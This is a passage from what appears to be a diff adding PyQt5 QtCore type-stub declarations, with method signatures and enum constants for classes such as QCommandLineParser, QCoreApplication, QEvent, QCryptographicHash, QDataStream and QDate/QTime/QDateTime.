isInvalid(self) -> bool: ... + def isDouble(self) -> bool: ... + def isFloat(self) -> bool: ... + def isFloat16(self) -> bool: ... + @typing.overload + def isSimpleType(self) -> bool: ... + @typing.overload + def isSimpleType(self, st: QCborSimpleType) -> bool: ... + def isTag(self) -> bool: ... + def isMap(self) -> bool: ... + def isArray(self) -> bool: ... + def isString(self) -> bool: ... + def isByteArray(self) -> bool: ... + def isInteger(self) -> bool: ... + def isNegativeInteger(self) -> bool: ... + def isUnsignedInteger(self) -> bool: ... + def type(self) -> 'QCborStreamReader.Type': ... + def next(self, maxRecursion: int = ...) -> bool: ... + def hasNext(self) -> bool: ... + def parentContainerType(self) -> 'QCborStreamReader.Type': ... + def containerDepth(self) -> int: ... + def isValid(self) -> bool: ... + def currentOffset(self) -> int: ... + def lastError(self) -> QCborError: ... + def reset(self) -> None: ... + def clear(self) -> None: ... + def reparse(self) -> None: ... + def addData(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + def device(self) -> QIODevice: ... + def setDevice(self, device: QIODevice) -> None: ... + + +class QCollatorSortKey(sip.simplewrapper): + + def __init__(self, other: 'QCollatorSortKey') -> None: ... + + def compare(self, key: 'QCollatorSortKey') -> int: ... + def swap(self, other: 'QCollatorSortKey') -> None: ... + + +class QCollator(sip.simplewrapper): + + @typing.overload + def __init__(self, locale: 'QLocale' = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QCollator') -> None: ... + + def sortKey(self, string: str) -> QCollatorSortKey: ... + def compare(self, s1: str, s2: str) -> int: ... + def ignorePunctuation(self) -> bool: ... + def setIgnorePunctuation(self, on: bool) -> None: ... + def numericMode(self) -> bool: ... + def setNumericMode(self, on: bool) -> None: ... + def setCaseSensitivity(self, cs: Qt.CaseSensitivity) -> None: ... + def caseSensitivity(self) -> Qt.CaseSensitivity: ... + def locale(self) -> 'QLocale': ... + def setLocale(self, locale: 'QLocale') -> None: ... + def swap(self, other: 'QCollator') -> None: ... + + +class QCommandLineOption(sip.simplewrapper): + + class Flag(int): + HiddenFromHelp = ... # type: QCommandLineOption.Flag + ShortOptionStyle = ... # type: QCommandLineOption.Flag + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QCommandLineOption.Flags', 'QCommandLineOption.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QCommandLineOption.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QCommandLineOption.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, names: typing.Iterable[str]) -> None: ... + @typing.overload + def __init__(self, name: str, description: str, valueName: str = ..., defaultValue: str = ...) -> None: ... + @typing.overload + def __init__(self, names: typing.Iterable[str], description: str, valueName: str = ..., defaultValue: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QCommandLineOption') -> None: ... + + def setFlags(self, aflags: typing.Union['QCommandLineOption.Flags', 'QCommandLineOption.Flag']) -> None: ... + def flags(self) -> 'QCommandLineOption.Flags': ... + def isHidden(self) -> bool: ... + def setHidden(self, hidden: bool) -> None: ... + def defaultValues(self) -> typing.List[str]: ... + def setDefaultValues(self, defaultValues: typing.Iterable[str]) -> None: ... + def setDefaultValue(self, defaultValue: str) -> None: ... + def description(self) -> str: ... + def setDescription(self, description: str) -> None: ... + def valueName(self) -> str: ... + def setValueName(self, name: str) -> None: ... + def names(self) -> typing.List[str]: ... + def swap(self, other: 'QCommandLineOption') -> None: ... + + +class QCommandLineParser(sip.simplewrapper): + + class OptionsAfterPositionalArgumentsMode(int): + ParseAsOptions = ... # type: QCommandLineParser.OptionsAfterPositionalArgumentsMode + ParseAsPositionalArguments = ... # type: QCommandLineParser.OptionsAfterPositionalArgumentsMode + + class SingleDashWordOptionMode(int): + ParseAsCompactedShortOptions = ... # type: QCommandLineParser.SingleDashWordOptionMode + ParseAsLongOptions = ... # type: QCommandLineParser.SingleDashWordOptionMode + + def __init__(self) -> None: ... + + def setOptionsAfterPositionalArgumentsMode(self, mode: 'QCommandLineParser.OptionsAfterPositionalArgumentsMode') -> None: ... + def showVersion(self) -> None: ... + def addOptions(self, options: typing.Iterable[QCommandLineOption]) -> bool: ... + def helpText(self) -> str: ... + def showHelp(self, exitCode: int = ...) -> None: ... + def unknownOptionNames(self) -> typing.List[str]: ... + def optionNames(self) -> typing.List[str]: ... + def positionalArguments(self) -> typing.List[str]: ... + @typing.overload + def values(self, name: str) -> typing.List[str]: ... + @typing.overload + def values(self, option: QCommandLineOption) -> typing.List[str]: ... + @typing.overload + def value(self, name: str) -> str: ... + @typing.overload + def value(self, option: QCommandLineOption) -> str: ... + @typing.overload + def isSet(self, name: str) -> bool: ... + @typing.overload + def isSet(self, option: QCommandLineOption) -> bool: ... + def errorText(self) -> str: ... + def parse(self, arguments: typing.Iterable[str]) -> bool: ... + @typing.overload + def process(self, arguments: typing.Iterable[str]) -> None: ... + @typing.overload + def process(self, app: 'QCoreApplication') -> None: ... + def clearPositionalArguments(self) -> None: ... + def addPositionalArgument(self, name: str, description: str, syntax: str = ...) -> None: ... + def applicationDescription(self) -> str: ... + def setApplicationDescription(self, description: str) -> None: ... + def addHelpOption(self) -> QCommandLineOption: ... + def addVersionOption(self) -> QCommandLineOption: ... + def addOption(self, commandLineOption: QCommandLineOption) -> bool: ... + def setSingleDashWordOptionMode(self, parsingMode: 'QCommandLineParser.SingleDashWordOptionMode') -> None: ... + + +class QConcatenateTablesProxyModel(QAbstractItemModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def sourceModels(self) -> typing.List[QAbstractItemModel]: ... + def span(self, index: QModelIndex) -> 'QSize': ... + def dropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def canDropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def mimeData(self, indexes: typing.Iterable[QModelIndex]) -> 'QMimeData': ... + def mimeTypes(self) -> typing.List[str]: ... + def columnCount(self, parent: QModelIndex = ...) -> int: ... + def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...) -> typing.Any: ... + def rowCount(self, parent: QModelIndex = ...) -> int: ... + def parent(self, index: QModelIndex) -> QModelIndex: ... + def index(self, row: int, column: int, parent: QModelIndex = ...) -> QModelIndex: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def setItemData(self, index: QModelIndex, roles: typing.Dict[int, typing.Any]) -> bool: ... + def itemData(self, proxyIndex: QModelIndex) -> typing.Dict[int, typing.Any]: ... + def setData(self, index: QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QModelIndex, role: int = ...) -> typing.Any: ... + def mapToSource(self, proxyIndex: QModelIndex) -> QModelIndex: ... + def mapFromSource(self, sourceIndex: QModelIndex) -> QModelIndex: ... + def removeSourceModel(self, sourceModel: QAbstractItemModel) -> None: ... + def addSourceModel(self, sourceModel: QAbstractItemModel) -> None: ... + + +class QCoreApplication(QObject): + + def __init__(self, argv: typing.List[str]) -> None: ... + + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + @staticmethod + def isSetuidAllowed() -> bool: ... + @staticmethod + def setSetuidAllowed(allow: bool) -> None: ... + def removeNativeEventFilter(self, filterObj: QAbstractNativeEventFilter) -> None: ... + def installNativeEventFilter(self, filterObj: QAbstractNativeEventFilter) -> None: ... + @staticmethod + def setQuitLockEnabled(enabled: bool) -> None: ... + @staticmethod + def isQuitLockEnabled() -> bool: ... + @staticmethod + def setEventDispatcher(eventDispatcher: QAbstractEventDispatcher) -> None: ... + @staticmethod + def eventDispatcher() -> QAbstractEventDispatcher: ... + @staticmethod + def applicationPid() -> int: ... + @staticmethod + def applicationVersion() -> str: ... + @staticmethod + def setApplicationVersion(version: str) -> None: ... + def event(self, a0: 'QEvent') -> bool: ... + def aboutToQuit(self) -> None: ... + @staticmethod + def quit() -> None: ... + @staticmethod + def testAttribute(attribute: Qt.ApplicationAttribute) -> bool: ... + @staticmethod + def setAttribute(attribute: Qt.ApplicationAttribute, on: bool = ...) -> None: ... + @staticmethod + def flush() -> None: ... + @staticmethod + def translate(context: str, sourceText: str, disambiguation: typing.Optional[str] = ..., n: int = ...) -> str: ... + @staticmethod + def removeTranslator(messageFile: 'QTranslator') -> bool: ... + @staticmethod + def installTranslator(messageFile: 'QTranslator') -> bool: ... + @staticmethod + def removeLibraryPath(a0: str) -> None: ... + @staticmethod + def addLibraryPath(a0: str) -> None: ... + @staticmethod + def libraryPaths() -> typing.List[str]: ... + @staticmethod + def setLibraryPaths(a0: typing.Iterable[str]) -> None: ... + @staticmethod + def applicationFilePath() -> str: ... + @staticmethod + def applicationDirPath() -> str: ... + @staticmethod + def closingDown() -> bool: ... + @staticmethod + def startingUp() -> bool: ... + def notify(self, a0: QObject, a1: 'QEvent') -> bool: ... + @staticmethod + def hasPendingEvents() -> bool: ... + @staticmethod + def removePostedEvents(receiver: QObject, eventType: int = ...) -> None: ... + @staticmethod + def sendPostedEvents(receiver: typing.Optional[QObject] = ..., eventType: int = ...) -> None: ... + @staticmethod + def postEvent(receiver: QObject, event: 'QEvent', priority: int = ...) -> None: ... + @staticmethod + def sendEvent(receiver: QObject, event: 'QEvent') -> bool: ... + @staticmethod + def exit(returnCode: int = ...) -> None: ... + @typing.overload + @staticmethod + def processEvents(flags: typing.Union['QEventLoop.ProcessEventsFlags', 'QEventLoop.ProcessEventsFlag'] = ...) -> None: ... + @typing.overload + @staticmethod + def processEvents(flags: typing.Union['QEventLoop.ProcessEventsFlags', 'QEventLoop.ProcessEventsFlag'], maxtime: int) -> None: ... + @staticmethod + def exec() -> int: ... + @staticmethod + def exec_() -> int: ... + @staticmethod + def instance() -> 'QCoreApplication': ... + @staticmethod + def arguments() -> typing.List[str]: ... + @staticmethod + def applicationName() -> str: ... + @staticmethod + def setApplicationName(application: str) -> None: ... + @staticmethod + def organizationName() -> str: ... + @staticmethod + def setOrganizationName(orgName: str) -> None: ... + @staticmethod + def organizationDomain() -> str: ... + @staticmethod + def setOrganizationDomain(orgDomain: str) -> None: ... + + +class QEvent(PyQt5.sip.wrapper): + + class Type(int): + None_ = ... # type: QEvent.Type + Timer = ... # type: QEvent.Type + MouseButtonPress = ... # type: QEvent.Type + MouseButtonRelease = ... # type: QEvent.Type + MouseButtonDblClick = ... # type: QEvent.Type + MouseMove = ... # type: QEvent.Type + KeyPress = ... # type: QEvent.Type + KeyRelease = ... # type: QEvent.Type + FocusIn = ... # type: QEvent.Type + FocusOut = ... # type: QEvent.Type + Enter = ... # type: QEvent.Type + Leave = ... # type: QEvent.Type + Paint = ... # type: QEvent.Type + Move = ... # type: QEvent.Type + Resize = ... # type: QEvent.Type + Show = ... # type: QEvent.Type + Hide = ... # type: QEvent.Type + Close = ... # type: QEvent.Type + ParentChange = ... # type: QEvent.Type + ParentAboutToChange = ... # type: QEvent.Type + ThreadChange = ... # type: QEvent.Type + WindowActivate = ... # type: QEvent.Type + WindowDeactivate = ... # type: QEvent.Type + ShowToParent = ... # type: QEvent.Type + HideToParent = ... # type: QEvent.Type + Wheel = ... # type: QEvent.Type + WindowTitleChange = ... # type: QEvent.Type + WindowIconChange = ... # type: QEvent.Type + ApplicationWindowIconChange = ... # type: QEvent.Type + ApplicationFontChange = ... # type: QEvent.Type + ApplicationLayoutDirectionChange = ... # type: QEvent.Type + ApplicationPaletteChange = ... # type: QEvent.Type + PaletteChange = ... # type: QEvent.Type + Clipboard = ... # type: QEvent.Type + MetaCall = ... # type: QEvent.Type + SockAct = ... # type: QEvent.Type + WinEventAct = ... # type: QEvent.Type + DeferredDelete = ... # type: QEvent.Type + DragEnter = ... # type: QEvent.Type + DragMove = ... # type: QEvent.Type + DragLeave = ... # type: QEvent.Type + Drop = ... # type: QEvent.Type + ChildAdded = ... # type: QEvent.Type + ChildPolished = ... # type: QEvent.Type + ChildRemoved = ... # type: QEvent.Type + PolishRequest = ... # type: QEvent.Type + Polish = ... # type: QEvent.Type + LayoutRequest = ... # type: QEvent.Type + UpdateRequest = ... # type: QEvent.Type + UpdateLater = ... # type: QEvent.Type + ContextMenu = ... # type: QEvent.Type + InputMethod = ... # type: QEvent.Type + TabletMove = ... # type: QEvent.Type + LocaleChange = ... # type: QEvent.Type + LanguageChange = ... # type: QEvent.Type + LayoutDirectionChange = ... # type: QEvent.Type + TabletPress = ... # type: QEvent.Type + TabletRelease = ... # type: QEvent.Type + OkRequest = ... # type: QEvent.Type + IconDrag = ... # type: QEvent.Type + FontChange = ... # type: QEvent.Type + EnabledChange = ... # type: QEvent.Type + ActivationChange = ... # type: QEvent.Type + StyleChange = ... # type: QEvent.Type + IconTextChange = ... # type: QEvent.Type + ModifiedChange = ... # type: QEvent.Type + MouseTrackingChange = ... # type: QEvent.Type + WindowBlocked = ... # type: QEvent.Type + WindowUnblocked = ... # type: QEvent.Type + WindowStateChange = ... # type: QEvent.Type + ToolTip = ... # type: QEvent.Type + WhatsThis = ... # type: QEvent.Type + StatusTip = ... # type: QEvent.Type + ActionChanged = ... # type: QEvent.Type + ActionAdded = ... # type: QEvent.Type + ActionRemoved = ... # type: QEvent.Type + FileOpen = ... # type: QEvent.Type + Shortcut = ... # type: QEvent.Type + ShortcutOverride = ... # type: QEvent.Type + WhatsThisClicked = ... # type: QEvent.Type + ToolBarChange = ... # type: QEvent.Type + ApplicationActivate = ... # type: QEvent.Type + ApplicationActivated = ... # type: QEvent.Type + ApplicationDeactivate = ... # type: QEvent.Type + ApplicationDeactivated = ... # type: QEvent.Type + QueryWhatsThis = ... # type: QEvent.Type + EnterWhatsThisMode = ... # type: QEvent.Type + LeaveWhatsThisMode = ... # type: QEvent.Type + ZOrderChange = ... # type: QEvent.Type + HoverEnter = ... # type: QEvent.Type + HoverLeave = ... # type: QEvent.Type + HoverMove = ... # type: QEvent.Type + GraphicsSceneMouseMove = ... # type: QEvent.Type + GraphicsSceneMousePress = ... # type: QEvent.Type + GraphicsSceneMouseRelease = ... # type: QEvent.Type + GraphicsSceneMouseDoubleClick = ... # type: QEvent.Type + GraphicsSceneContextMenu = ... # type: QEvent.Type + GraphicsSceneHoverEnter = ... # type: QEvent.Type + GraphicsSceneHoverMove = ... # type: QEvent.Type + GraphicsSceneHoverLeave = ... # type: QEvent.Type + GraphicsSceneHelp = ... # type: QEvent.Type + GraphicsSceneDragEnter = ... # type: QEvent.Type + GraphicsSceneDragMove = ... # type: QEvent.Type + GraphicsSceneDragLeave = ... # type: QEvent.Type + GraphicsSceneDrop = ... # type: QEvent.Type + GraphicsSceneWheel = ... # type: QEvent.Type + GraphicsSceneResize = ... # type: QEvent.Type + GraphicsSceneMove = ... # type: QEvent.Type + KeyboardLayoutChange = ... # type: QEvent.Type + DynamicPropertyChange = ... # type: QEvent.Type + TabletEnterProximity = ... # type: QEvent.Type + TabletLeaveProximity = ... # type: QEvent.Type + NonClientAreaMouseMove = ... # type: QEvent.Type + NonClientAreaMouseButtonPress = ... # type: QEvent.Type + NonClientAreaMouseButtonRelease = ... # type: QEvent.Type + NonClientAreaMouseButtonDblClick = ... # type: QEvent.Type + MacSizeChange = ... # type: QEvent.Type + ContentsRectChange = ... # type: QEvent.Type + CursorChange = ... # type: QEvent.Type + ToolTipChange = ... # type: QEvent.Type + GrabMouse = ... # type: QEvent.Type + UngrabMouse = ... # type: QEvent.Type + GrabKeyboard = ... # type: QEvent.Type + UngrabKeyboard = ... # type: QEvent.Type + StateMachineSignal = ... # type: QEvent.Type + StateMachineWrapped = ... # type: QEvent.Type + TouchBegin = ... # type: QEvent.Type + TouchUpdate = ... # type: QEvent.Type + TouchEnd = ... # type: QEvent.Type + RequestSoftwareInputPanel = ... # type: QEvent.Type + CloseSoftwareInputPanel = ... # type: QEvent.Type + WinIdChange = ... # type: QEvent.Type + Gesture = ... # type: QEvent.Type + GestureOverride = ... # type: QEvent.Type + FocusAboutToChange = ... # type: QEvent.Type + ScrollPrepare = ... # type: QEvent.Type + Scroll = ... # type: QEvent.Type + Expose = ... # type: QEvent.Type + InputMethodQuery = ... # type: QEvent.Type + OrientationChange = ... # type: QEvent.Type + TouchCancel = ... # type: QEvent.Type + PlatformPanel = ... # type: QEvent.Type + ApplicationStateChange = ... # type: QEvent.Type + ReadOnlyChange = ... # type: QEvent.Type + PlatformSurface = ... # type: QEvent.Type + TabletTrackingChange = ... # type: QEvent.Type + User = ... # type: QEvent.Type + MaxUser = ... # type: QEvent.Type + + @typing.overload + def __init__(self, type: 'QEvent.Type') -> None: ... + @typing.overload + def __init__(self, other: 'QEvent') -> None: ... + + @staticmethod + def registerEventType(hint: int = ...) -> int: ... + def ignore(self) -> None: ... + def accept(self) -> None: ... + def isAccepted(self) -> bool: ... + def setAccepted(self, accepted: bool) -> None: ... + def spontaneous(self) -> bool: ... + def type(self) -> 'QEvent.Type': ... + + +class QTimerEvent(QEvent): + + @typing.overload + def __init__(self, timerId: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QTimerEvent') -> None: ... + + def timerId(self) -> int: ... + + +class QChildEvent(QEvent): + + @typing.overload + def __init__(self, type: QEvent.Type, child: QObject) -> None: ... + @typing.overload + def __init__(self, a0: 'QChildEvent') -> None: ... + + def removed(self) -> bool: ... + def polished(self) -> bool: ... + def added(self) -> bool: ... + def child(self) -> QObject: ... + + +class QDynamicPropertyChangeEvent(QEvent): + + @typing.overload + def __init__(self, name: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, a0: 'QDynamicPropertyChangeEvent') -> None: ... + + def propertyName(self) -> QByteArray: ... + + +class QCryptographicHash(sip.simplewrapper): + + class Algorithm(int): + Md4 = ... # type: QCryptographicHash.Algorithm + Md5 = ... # type: QCryptographicHash.Algorithm + Sha1 = ... # type: QCryptographicHash.Algorithm + Sha224 = ... # type: QCryptographicHash.Algorithm + Sha256 = ... # type: QCryptographicHash.Algorithm + Sha384 = ... # type: QCryptographicHash.Algorithm + Sha512 = ... # type: QCryptographicHash.Algorithm + Sha3_224 = ... # type: QCryptographicHash.Algorithm + Sha3_256 = ... # type: QCryptographicHash.Algorithm + Sha3_384 = ... # type: QCryptographicHash.Algorithm + Sha3_512 = ... # type: QCryptographicHash.Algorithm + Keccak_224 = ... # type: QCryptographicHash.Algorithm + Keccak_256 = ... # type: QCryptographicHash.Algorithm + Keccak_384 = ... # type: QCryptographicHash.Algorithm + Keccak_512 = ... # type: QCryptographicHash.Algorithm + + def __init__(self, method: 'QCryptographicHash.Algorithm') -> None: ... + + @staticmethod + def hashLength(method: 'QCryptographicHash.Algorithm') -> int: ... + @staticmethod + def hash(data: typing.Union[QByteArray, bytes, bytearray], method: 'QCryptographicHash.Algorithm') -> QByteArray: ... + def result(self) -> QByteArray: ... + @typing.overload + def addData(self, data: bytes) -> None: ... + @typing.overload + def addData(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def addData(self, device: QIODevice) -> bool: ... + def reset(self) -> None: ... + + +class QDataStream(sip.simplewrapper): + + class FloatingPointPrecision(int): + SinglePrecision = ... # type: QDataStream.FloatingPointPrecision + DoublePrecision = ... # type: QDataStream.FloatingPointPrecision + + class Status(int): + Ok = ... # type: QDataStream.Status + ReadPastEnd = ... # type: QDataStream.Status + ReadCorruptData = ... # type: QDataStream.Status + WriteFailed = ... # type: QDataStream.Status + + class ByteOrder(int): + BigEndian = ... # type: QDataStream.ByteOrder + LittleEndian = ... # type: QDataStream.ByteOrder + + class Version(int): + Qt_1_0 = ... # type: QDataStream.Version + Qt_2_0 = ... # type: QDataStream.Version + Qt_2_1 = ... # type: QDataStream.Version + Qt_3_0 = ... # type: QDataStream.Version + Qt_3_1 = ... # type: QDataStream.Version + Qt_3_3 = ... # type: QDataStream.Version + Qt_4_0 = ... # type: QDataStream.Version + Qt_4_1 = ... # type: QDataStream.Version + Qt_4_2 = ... # type: QDataStream.Version + Qt_4_3 = ... # type: QDataStream.Version + Qt_4_4 = ... # type: QDataStream.Version + Qt_4_5 = ... # type: QDataStream.Version + Qt_4_6 = ... # type: QDataStream.Version + Qt_4_7 = ... # type: QDataStream.Version + Qt_4_8 = ... # type: QDataStream.Version + Qt_4_9 = ... # type: QDataStream.Version + Qt_5_0 = ... # type: QDataStream.Version + Qt_5_1 = ... # type: QDataStream.Version + Qt_5_2 = ... # type: QDataStream.Version + Qt_5_3 = ... # type: QDataStream.Version + Qt_5_4 = ... # type: QDataStream.Version + Qt_5_5 = ... # type: QDataStream.Version + Qt_5_6 = ... # type: QDataStream.Version + Qt_5_7 = ... # type: QDataStream.Version + Qt_5_8 = ... # type: QDataStream.Version + Qt_5_9 = ... # type: QDataStream.Version + Qt_5_10 = ... # type: QDataStream.Version + Qt_5_11 = ... # type: QDataStream.Version + Qt_5_12 = ... # type: QDataStream.Version + Qt_5_13 = ... # type: QDataStream.Version + Qt_5_14 = ... # type: QDataStream.Version + Qt_5_15 = ... # type: QDataStream.Version + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: QIODevice) -> None: ... + @typing.overload + def __init__(self, a0: QByteArray, flags: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag]) -> None: ... + @typing.overload + def __init__(self, a0: QByteArray) -> None: ... + + def abortTransaction(self) -> None: ... + def rollbackTransaction(self) -> None: ... + def commitTransaction(self) -> bool: ... + def startTransaction(self) -> None: ... + def setFloatingPointPrecision(self, precision: 'QDataStream.FloatingPointPrecision') -> None: ... + def floatingPointPrecision(self) -> 'QDataStream.FloatingPointPrecision': ... + def writeRawData(self, a0: bytes) -> int: ... + def writeBytes(self, a0: bytes) -> 'QDataStream': ... + def readRawData(self, len: int) -> bytes: ... + def readBytes(self) -> bytes: ... + def writeQVariantHash(self, qvarhash: typing.Dict[str, typing.Any]) -> None: ... + def readQVariantHash(self) -> typing.Dict[str, typing.Any]: ... + def writeQVariantMap(self, qvarmap: typing.Dict[str, typing.Any]) -> None: ... + def readQVariantMap(self) -> typing.Dict[str, typing.Any]: ... + def writeQVariantList(self, qvarlst: typing.Iterable[typing.Any]) -> None: ... + def readQVariantList(self) -> typing.List[typing.Any]: ... + def writeQVariant(self, qvar: typing.Any) -> None: ... + def readQVariant(self) -> typing.Any: ... + def writeQStringList(self, qstrlst: typing.Iterable[str]) -> None: ... + def readQStringList(self) -> typing.List[str]: ... + def writeQString(self, qstr: str) -> None: ... + def readQString(self) -> str: ... + def writeString(self, str: bytes) -> None: ... + def writeDouble(self, f: float) -> None: ... + def writeFloat(self, f: float) -> None: ... + def writeBool(self, i: bool) -> None: ... + def writeUInt64(self, i: int) -> None: ... + def writeInt64(self, i: int) -> None: ... + def writeUInt32(self, i: int) -> None: ... + def writeInt32(self, i: int) -> None: ... + def writeUInt16(self, i: int) -> None: ... + def writeInt16(self, i: int) -> None: ... + def writeUInt8(self, i: int) -> None: ... + def writeInt8(self, i: int) -> None: ... + def writeInt(self, i: int) -> None: ... + def readString(self) -> bytes: ... + def readDouble(self) -> float: ... + def readFloat(self) -> float: ... + def readBool(self) -> bool: ... + def readUInt64(self) -> int: ... + def readInt64(self) -> int: ... + def readUInt32(self) -> int: ... + def readInt32(self) -> int: ... + def readUInt16(self) -> int: ... + def readInt16(self) -> int: ... + def readUInt8(self) -> int: ... + def readInt8(self) -> int: ... + def readInt(self) -> int: ... + def skipRawData(self, len: int) -> int: ... + def setVersion(self, v: int) -> None: ... + def version(self) -> int: ... + def setByteOrder(self, a0: 'QDataStream.ByteOrder') -> None: ... + def byteOrder(self) -> 'QDataStream.ByteOrder': ... + def resetStatus(self) -> None: ... + def setStatus(self, status: 'QDataStream.Status') -> None: ... + def status(self) -> 'QDataStream.Status': ... + def atEnd(self) -> bool: ... + def setDevice(self, a0: QIODevice) -> None: ... + def device(self) -> QIODevice: ... + + +class QDate(sip.simplewrapper): + + class MonthNameType(int): + DateFormat = ... # type: QDate.MonthNameType + StandaloneFormat = ... # type: QDate.MonthNameType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, y: int, m: int, d: int) -> None: ... + @typing.overload + def __init__(self, y: int, m: int, d: int, cal: QCalendar) -> None: ... + @typing.overload + def __init__(self, a0: 'QDate') -> None: ... + + @typing.overload + def endOfDay(self, spec: Qt.TimeSpec = ..., offsetSeconds: int = ...) -> 'QDateTime': ... + @typing.overload + def endOfDay(self, zone: 'QTimeZone') -> 'QDateTime': ... + @typing.overload + def startOfDay(self, spec: Qt.TimeSpec = ..., offsetSeconds: int = ...) -> 'QDateTime': ... + @typing.overload + def startOfDay(self, zone: 'QTimeZone') -> 'QDateTime': ... + def getDate(self) -> typing.Tuple[int, int, int]: ... + @typing.overload + def setDate(self, year: int, month: int, date: int) -> bool: ... + @typing.overload + def setDate(self, year: int, month: int, day: int, cal: QCalendar) -> bool: ... + def toJulianDay(self) -> int: ... + @staticmethod + def fromJulianDay(jd: int) -> 'QDate': ... + @staticmethod + def isLeapYear(year: int) -> bool: ... + @typing.overload + @staticmethod + def fromString(string: str, format: Qt.DateFormat = ...) -> 'QDate': ... + @typing.overload + @staticmethod + def fromString(s: str, format: str) -> 'QDate': ... + @typing.overload + @staticmethod + def fromString(s: str, format: str, cal: QCalendar) -> 'QDate': ... + @staticmethod + def currentDate() -> 'QDate': ... + def daysTo(self, a0: typing.Union['QDate', datetime.date]) -> int: ... + @typing.overload + def addYears(self, years: int) -> 'QDate': ... + @typing.overload + def addYears(self, years: int, cal: QCalendar) -> 'QDate': ... + @typing.overload + def addMonths(self, months: int) -> 'QDate': ... + @typing.overload + def addMonths(self, months: int, cal: QCalendar) -> 'QDate': ... + def addDays(self, days: int) -> 'QDate': ... + @typing.overload + def toString(self, format: Qt.DateFormat = ...) -> str: ... + @typing.overload + def toString(self, f: Qt.DateFormat, cal: QCalendar) -> str: ... + @typing.overload + def toString(self, format: str) -> str: ... + @typing.overload + def toString(self, format: str, cal: QCalendar) -> str: ... + @staticmethod + def longDayName(weekday: int, type: 'QDate.MonthNameType' = ...) -> str: ... + @staticmethod + def longMonthName(month: int, type: 'QDate.MonthNameType' = ...) -> str: ... + @staticmethod + def shortDayName(weekday: int, type: 'QDate.MonthNameType' = ...) -> str: ... + @staticmethod + def shortMonthName(month: int, type: 'QDate.MonthNameType' = ...) -> str: ... + def weekNumber(self) -> typing.Tuple[int, int]: ... + @typing.overload + def daysInYear(self) -> int: ... + @typing.overload + def daysInYear(self, cal: QCalendar) -> int: ... + @typing.overload + def daysInMonth(self) -> int: ... + @typing.overload + def daysInMonth(self, cal: QCalendar) -> int: ... + @typing.overload + def dayOfYear(self) -> int: ... + @typing.overload + def dayOfYear(self, cal: QCalendar) -> int: ... + @typing.overload + def dayOfWeek(self) -> int: ... + @typing.overload + def dayOfWeek(self, cal: QCalendar) -> int: ... + @typing.overload + def day(self) -> int: ... + @typing.overload + def day(self, cal: QCalendar) -> int: ... + @typing.overload + def month(self) -> int: ... + @typing.overload + def month(self, cal: QCalendar) -> int: ... + @typing.overload + def year(self) -> int: ... + @typing.overload + def year(self, cal: QCalendar) -> int: ... + @typing.overload + def isValid(self) -> bool: ... + @typing.overload + @staticmethod + def isValid(y: int, m: int, d: int) -> bool: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + def toPyDate(self) -> datetime.date: ... + def __hash__(self) -> int: ... + def __repr__(self) -> str: ... + + +class QTime(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, h: int, m: int, second: int = ..., msec: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QTime') -> None: ... + + def msecsSinceStartOfDay(self) -> int: ... + @staticmethod + def fromMSecsSinceStartOfDay(msecs: int) -> 'QTime': ... + def elapsed(self) -> int: ... + def restart(self) -> int: ... + def start(self) -> None: ... + @typing.overload + @staticmethod + def fromString(string: str, format: Qt.DateFormat = ...) -> 'QTime': ... + @typing.overload + @staticmethod + def fromString(s: str, format: str) -> 'QTime': ... + @staticmethod + def currentTime() -> 'QTime': ... + def msecsTo(self, a0: typing.Union['QTime', datetime.time]) -> int: ... + def addMSecs(self, ms: int) -> 'QTime': ... + def secsTo(self, a0: typing.Union['QTime', datetime.time]) -> int: ... + def addSecs(self, secs: int) -> 'QTime': ... + def setHMS(self, h: int, m: int, s: int, msec: int = ...) -> bool: ... + @typing.overload + def toString(self, format: Qt.DateFormat = ...) -> str: ... + @typing.overload + def toString(self, format: str) -> str: ... + def msec(self) -> int: ... + def second(self) -> int: ... + def minute(self) -> int: ... + def hour(self) -> int: ... + @typing.overload + def isValid(self) -> bool: ... + @typing.overload + @staticmethod + def isValid(h: int, m: int, s: int, msec: int = ...) -> bool: ... + def __bool__(self) -> int: ... + def isNull(self) -> bool: ... + def toPyTime(self) -> datetime.time: ... + def __hash__(self) -> int: ... + def __repr__(self) -> str: ... + + +class QDateTime(sip.simplewrapper): + + class YearRange(int): + First = ... # type: QDateTime.YearRange + Last = ... # type: QDateTime.YearRange + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: typing.Union['QDateTime', datetime.datetime]) -> None: ... + @typing.overload + def __init__(self, a0: typing.Union[QDate, datetime.date]) -> None: ... + @typing.overload + def __init__(self, date: typing.Union[QDate, datetime.date], time: typing.Union[QTime, datetime.time], timeSpec: Qt.TimeSpec = ...) -> None: ... + @typing.overload + def __init__(self, year: int, month: int, day: int, hour: int, minute: int, second: int = ..., msec: int = ..., timeSpec: int = ...) -> None: ... + @typing.overload + def __init__(self, date: typing.Union[QDate, datetime.date], time: typing.Union[QTime, 